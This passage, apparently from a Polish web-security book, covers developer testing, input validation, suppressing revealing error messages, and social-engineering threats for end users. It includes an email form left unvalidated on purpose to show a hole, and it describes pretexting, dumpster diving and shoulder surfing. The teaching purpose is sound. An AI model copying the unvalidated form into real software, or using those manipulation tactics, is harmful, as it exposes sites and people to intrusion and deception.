- ataki w dniu zerowym (polegają one na wykorzystaniu błędów, które nie zostały jeszcze zidentyfikowane i naprawione).

Jak widać, istnieje wiele przyczyn błędów. W końcu nikt nie jest doskonały. Wiem, że to frazes, jednak nieustannie trzeba go przypominać.

Programiści i producenci mogą zapobiec większości usterek. W rozdziale 5. omawiam szczegółowo niektóre z często stosowanych ataków i wyjaśniam, dlaczego są możliwe.

Co można zrobić, aby zapobiec lukom?

Użytkownik końcowy nie naprawi kodu niskiej jakości, jednak może przeprowadzić testy. Programista ma większe możliwości i może wyeliminować więcej usterek.

Prześledźmy kilka strategii, które można zastosować, aby złagodzić skutki błędów i zabezpieczyć środowisko pracy. Osobno przedstawiam rozwiązania dla programistów i użytkowników.

Programiści

Programista jest odpowiedzialny za pisanie jak najlepszego kodu. Nie oznacza to, że zawsze musi tworzyć idealne rozwiązania. Powinien jednak starać się udostępniać produkty wysokiej jakości i wykorzystywać wszystkie swe umiejętności.

Czasem w świecie techniki duma bierze górę nad zdrowym rozsądkiem. Jeśli zdasz sobie sprawę z tego, że pomyłki mogą się zdarzać, otworzysz się na krytykę ze strony współpracowników. Nie pozwól, aby duma spowodowała, że udostępnisz kiepski produkt lub nie zapewnisz odpowiedniego wsparcia innym w środowisku pracy.

Niska jakość testów i planów

W czasie projektowania nowego dodatku, programu lub innego skryptu zastanów się, jak naprawdę będzie używany. W jakim środowisku będzie działać? Czy oprogramowanie to pakiet do sprzedaży samochodów? Pomyśl, jakie inne elementy dealer może chcieć zainstalować w witrynie.

Jaki jest poziom wiedzy użytkowników? W jaki sposób klienci będą korzystać z witryny dealera?

Zanim zaczniesz pisać kod, dobrze przemyśl, co chcesz osiągnąć dzięki testom. Zapisz plan testów i uwzględnij w nim często występujące problemy. Jeśli firma na przykład chce zamieszczać w witrynie zdjęcia (co sprzedawcy samochodów zwykle robią), to czy ich rozmiar ma znaczenie? Czy za duże rysunki spowodują błędy? Czy zamiast zdjęcia można wstawić inny element, który spowoduje przepełnienie bufora i przejęcie kontroli nad witryną przez napastnika? Przemyślenie takich kwestii pomoże Ci przygotować lepszy kod.

> **Wskazówka dla użytkowników**
>
> Koniecznie dodaj pomocne komunikaty o błędach w języku polskim i powiąż rozwiązanie problemu z systemem pomocy oraz wsparcia technicznego w witrynie.

Tematy do przemyśleń można długo wymieniać. W planach i testach uwzględnij przynajmniej poniższe zagadnienia:

- Kim jest klient?
- Kim są klienci klienta?
- Jak produkt będzie używany?
- Jakie typy zmiennych i danych wejściowych są dozwolone?
- Jaki poziom uprawnień jest wymagany do używania aplikacji?
- Jakie inne rozszerzenia mogą współdziałać z rozwijanym systemem?

Nie jest to kompletna lista, lecz tylko punkt wyjścia do rozważań. Napastnik może wykorzystać wszystkie wymienione obszary. Każdy z nich związany jest ze specyficznymi problemami.

Na przykład dozwolone typy zmiennych i danych wejściowych wyznaczają sposób sprawdzania tablic oraz akceptowane rodzaje zmiennych. W aplikacjach w języku PHP zezwalanie na podanie danych DOWOLNEGO TYPU to zły pomysł, który ponadto nie poprawia komfortu pracy użytkowników. W kodzie trzeba przechwytywać żądania GET i POST, pliki cookies oraz inne dane, a następnie je sprawdzać. W testach należy podać w polu na dane wejściowe (lub w zapytaniu SQL) znaki specjalne i podobne informacje, aby ustalić, czy można złamać zabezpieczenia.

> Znaki specjalne, na które warto zwrócić uwagę, to `', <i>`. Bardzo ważne jest wyszukiwanie ich w danych.

Aby zyskać lojalnych klientów, należy zapewnić im wysoki komfort pracy i bezpieczeństwo.

Zastanów się nad polem na dane wejściowe, w którym użytkownik strony może wpisać adres e-mail.

Możesz użyć poniższego prostego fragmentu kodu:

```
<html>
<head><title>Prosty formularz na adres e-mail</title></head>
<body>
<h2>Podaj adres e-mail</h2><p>
<form action="email.php" method="post">
<table>
<tr><td>Adres e-mail:</td><td><input type="text"
name="Name" /></td></tr>
<tr><td colspan="2" align="center"><input type="submit" /></td></tr>
</table>
</form>
</body>
</html>
```

Ten kod nie sprawdza poprawności adresu e-mail. Nie jest to dobre rozwiązanie i z pewnością nie zapewnia bezpieczeństwa. Nie można też zagwarantować, że użytkownik wprowadzi poprawny adres; z kolei złośliwy napastnik może wstawić szkodliwy skrypt do witryny i przejąć nad nią kontrolę.

> **Jak wykryć, czy adres e-mail jest poprawny?**
>
> Doskonały przykład kodu do sprawdzania poprawności adresów e-mail znajdziesz na stronie:
>
> *http://www.addedbytes.com/php/email-address-validation/*.

Jeśli pobierasz dane wejściowe, koniecznie przeprowadź testy! Następnie poproś o przetestowanie rozwiązania znajomego, zaufanego programistę i poproś go, aby spróbował złamać system.

Kiedy wystąpią błędy (a z pewnością tak się stanie), dobra procedura ich obsługi zapewni płynne działania witryny. Musisz jednak zachować ostrożność przy udostępnianiu informacji w komunikatach o błędach.

Zastanów się nad błędem typu „odmowa dostępu".

Odmowa dostępu

Wspomniałem już, że producenci aplikacji często udostępniają zbyt wiele informacji, ponieważ chcą, aby komunikaty były przydatne. Jest to często spotykany problem, który ułatwia zdeterminowanemu napastnikowi uzyskanie informacji o strukturze programu, użytych technologiach itd.

Następny przykład ilustruje odrzucone żądanie pliku. Wszystko przebiega prawidłowo, dopóki nie pojawi się komunikat z serwera Apache.

Choć podane informacje można łatwo uzyskać także w inny sposób, ten prosty przykład pokazuje, że w wyniku błędu serwer podaje informacje na swój temat:

```
Apache/1.3.37 Server at myserver.myfolder-server.com Port 80
```

Jest to przykład błędnej obsługi błędu 403 (odmowa dostępu). Powoduje to ujawnienie szczegółowych informacji o wersji serwera Apache, porcie i strukturze katalogów.

Lepsze rozwiązanie polega na użyciu pliku *.htaccess* do całkowitego zablokowania komunikatów o błędach.

Zastanów się nad metodą opisaną na stronie *http://perishablepress.com*:

```
# Blokowanie błędów w PHP.
php_flag display_startup_errors off
php_flag display_errors off
php_flag html_errors off
php_value docref_root 0
php_value docref_ext 0
```

Ta technika zapobiega ujawnianiu informacji napastnikowi, który bada witrynę. Starannie przeanalizuj aplikację i sprawdź, czy nie generuje komunikatów o błędach, ujawniających projekt tabel SQL lub inne poufne informacje.

Niewłaściwe formatowanie zmiennych i niebezpiecznych danych wejściowych

Ważnym i często pomijanym aspektem programowania jest formatowanie danych wejściowych. Jeśli program przyjmuje dane od użytkownika, trzeba się upewnić, że pobrane informacje mają właściwą postać. Jeżeli chcesz otrzymać adres e-mail, musisz sprawdzić, czy dane mają format takiego adresu, a nie zapytania SQL.

Ten często występujący problem prowadzi do większych kłopotów, jeśli zostanie wykryty zbyt późno.

Kilka znanych eksploitów to efekt nieprawidłowego sprawdzania wprowadzonych danych. To zaniedbanie umożliwia ataki przez przepełnienie bufora, wstrzyknięcie kodu SQL i ataki RFI (nie jest to kompletna lista).

Brak testów w zróżnicowanym środowisku

Z tym punktem związany jest klasyczny problem zasobów i czasu. Programista jest bardzo zajęty i można oczekiwać, że użytkownik ma wystarczającą wiedzę o swym systemie, dlatego nie warto sprawdzać nieznanych konfiguracji, prawda?

Oczywiście wiesz, że jest inaczej. Użytkownicy mogą przypadkowo uszkodzić system. Jak można przeprowadzić testy w zróżnicowanym środowisku, a jednocześnie wykonywać wszystkie inne zadania?

Wróćmy do planu testów. Ustal, na których platformach program ma działać, i przeprowadź na nich testy. W których wersjach systemów Linux i Windows rozszerzenie ma funkcjonować? Które wersje PHP są w powszechnym użyciu? Obecnie (w czasie powstawania tej książki) popularność języka PHP 4.xx zaczyna się zmniejszać, a nowym faworytem użytkowników są wersje 5.xx. Możesz jednak mieć pewność, że przez pewien czas wiele osób nadal będzie korzystać z wersji 4.xx. Przetestowanie aplikacji w obu środowiskach to najbardziej odpowiedzialne i profesjonalne rozwiązanie.

Testowanie w różnych wersjach baz SQL

Testowanie w różnych powszechnie używanych wersjach bazy MySQL to następna technika, która pomaga w tworzeniu aplikacji najwyższej klasy. Obecnie niektóre firmy hostingowe umożliwiają wybór języka PHP 4 lub 5 i jednej z wielu wersji bazy MySQL. Przetestowanie najpopularniejszych kombinacji pozwala uniknąć późniejszych problemów, a także pomaga wyeliminować rzadkie błędy, które sprawiają, że witryna, Twoja lub klienta, jest podatna na ataki.

Współdziałanie z rozszerzeniami niezależnych producentów

Testy w tym obszarze są czasem trudne, jednak warto się nad nimi zastanowić. Pomyśl, z których rozszerzeń Ty sam i użytkownicy będziecie korzystać w połączeniu z daną aplikacją. Uwzględnij dodatki związane z Google Adsense i SEO, narzędzia do analizy danych internetowych oraz inne pomocne rozszerzenia.

Musisz się upewnić, że inne rozszerzenia używane wraz z danym systemem nie narażą go na dziwne problemy.

Użytkownicy końcowi

Jak użytkownik końcowy może zabezpieczyć się przed atakiem? Wspomniałem już o kilku kwestiach, aby podkreślić ich znaczenie. Przyjrzyjmy się teraz innym zagadnieniom.

Socjotechnika

Powszechnie przyjmuje się, że najsłabszym ogniwem w łańcuchu zabezpieczeń jest człowiek. Wynika to z naturalnej skłonności do wierzenia innym na słowo. Ludzie zwykle ufają osobom po drugiej stronie słuchawki, które proszą o pomoc. Rozmówca „zgubił" hasło, a **musi** przygotować raport, ponieważ szef go **zabije**! Kto nie był kiedyś w podobnej sytuacji? Rozmówca wywołuje współczucie, a drobny akt sympatii do drugiego człowieka naraża wiele osób na atak.

Oszustwa typu phishing to popularna obecnie technika wyłudzania pieniędzy lub informacji, a jest to tylko najnowsza ze stosowanych metod naciągania. Wyłudzanie jest tak stare jak ludzkość. Socjotechnika nie opiera się na technologii, a mimo to jest skuteczną metodą atakowania infrastruktury witryny lub firmy. Jeśli napastnik zyska punkt zaczepienia dzięki operatorowi, który odbiera telefony, pracownikowi pomocy technicznej, sprzedawcy, a nawet Tobie, może przejąć cenne informacje potrzebne do włamania się do systemu.

Pozyskiwanie informacji odbywa się czasem w bezczelny sposób, kiedy napastnik dzwoni do firmy i udaje osobę z zespołu pomocy technicznej, obserwuje budynek lub podsłuchuje Twoje rozmowy telefoniczne w kawiarni.

Doświadczony socjotechnik nie próbuje od razu uzyskać dostępu do systemu. Woli zbierać małe porcje informacji i stopniowo zbliżać się do celu (czymkolwiek by on był).

Ludzie „zdradzają" informacje cały czas — w trakcie rozmów telefonicznych, w e-mailach, w pogawędkach internetowych, w śmieciach, a czasem bezpośrednio, przez umieszczanie w e-mailach zastrzeżonych danych.

Grzebanie w śmieciach to doskonały sposób na zdobycie informacji o celu. Kiedy ludzie wyrzucają starą listę cen, zwykle nie uważają, że jest to wartościowa zdobycz dla socjotechnika. Zwykle to nie same ceny są ważne, ale informacje, które pozwalają wywołać wrażenie, że dana osoba pracuje w firmie. Wiedza, jaką można zdobyć przez grzebanie w śmieciach, jest zdumiewająca.

Celem stosowania socjotechniki jest uzyskanie nieuprawnionego dostępu do sieci, konta bankowego, budynku, a nawet mieszkania. Połączenie informacji znalezionych w koszu (na przykład wykresów firmowych, notatek, książek telefonicznych itd.) pozwala napastnikowi utworzyć mapę organizacji. Taka osoba zyskuje tak bogatą wiedzę, że nikt nie zawaha się pomóc „współpracownikowi".

Zaglądanie przez ramię (ang. *shoulder surfing*) to następna bardzo skuteczna metoda. Polega ona na tym, że napastnik dosłownie zagląda Ci przez ramię w trakcie wpisywania numeru PIN lub hasła. Oszust nie musi widzieć informacji na ekranie, ani nawet zdobyć pełnych danych. Fragment hasła często wystarczy, aby przeprowadzić atak.

Zepsute dyski twarde — te srebrne talerze są prawdziwą kopalnią złota. Należy je starannie zniszczyć, aby zapewnić sobie maksymalne bezpieczeństwo. Istnieje kilka firm, które Cię w tym wyręczą (niektóre nawet za darmo).

Perswazja oparta na czarującym i przyjacielskim zachowaniu także pozwala uzyskać dobre efekty. W połączeniu z naciskiem na pilność prośby perswazja pozwala otworzyć wiele drzwi — zwłaszcza u pracowników pomocy technicznej, którzy mają zapewniać wsparcie. Kiedy osoby te chcą potwierdzić tożsamość klientów, są często przez nich obrażane. Takie zachowanie użytkowników i nagany dla personelu przestrzegającego przepisów są niedopuszczalne. Karę powinni otrzymać pracownicy lub klienci, którzy proszą osoby z działu pomocy technicznej o złamanie reguł.

To tylko wierzchołek góry lodowej w obszarze ataków socjotechnicznych. Najlepsza strategia przeciwdziałania im polega na edukowaniu pracowników, zatrudnieniu eksperta od zabezpieczeń w celu przeszkolenia personelu i opracowaniu oraz przestrzeganiu takich zasad, jak tworzenie SILNYCH HASEŁ i zmienianie ich co 30 dni. Należy też przygotować i wdrożyć procedury identyfikowania klientów kontaktujących się telefonicznie.

Nie zapomnij słów jednego z największych socjotechników wszechczasów, Kevina Mitnicka: *Możesz wydać fortunę na zakup technologii i usług […], a infrastruktura sieci nadal będzie podatna na klasyczną manipulację*.

Nieregularne instalowanie poprawek i aktualizacji

Tak, tak, panie Użytkowniku Końcowy. To Ty odpowiadasz za swoje systemy i witryny. Społeczność nie zainstaluje poprawek za Ciebie. Pamiętaj, że nie powstają one bez przyczyny. Załóżmy, że jest „wtorek poprawek" i pojawiły się aktualizacje dla systemu XP, a Ty ich nie zainstalowałeś. Następnego dnia napastnik z powodzeniem zaatakował Twój komputer. To Ty jesteś za to odpowiedzialny.

Wygospodaruj czas na przegląd poprawek i aktualizacji zabezpieczeń dla witryny, systemu oraz rozszerzeń, których używasz.

Przez regularne instalowanie poprawek możesz zabezpieczyć się przed atakami w „dniu zerowym", gotowymi skryptami atakującymi i innymi technikami, których zdeterminowany haker będzie używał w celu włamania się do Twojego komputera.

Podsumowanie

W tym rozdziale opisałem luki, przyczyny ich powstawania i typowe metody przeciwdziałania atakom. Ponieważ istnieją całe książki poświęcone tym zagadnieniom, ten rozdział to tylko punkt wyjścia do zabezpieczania witryny. Jeśli chcesz dowiedzieć się czegoś więcej o bezpieczeństwie oprogramowania, zachęcam do lektury pozycji *The art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities* autorstwa Marka Dowda, Johna McDonalda i Justin Schuh.

Morał z historii o Małej Czerwonej Kurce jest taki, że jeśli wszyscy — programiści, administratorzy i użytkownicy — będą zgodnie współpracować, internet stanie się odporniejszy na ataki i bezpieczniejszy. Spory między wymienionymi stronami służą tylko interesom kryminalistów działających w internecie.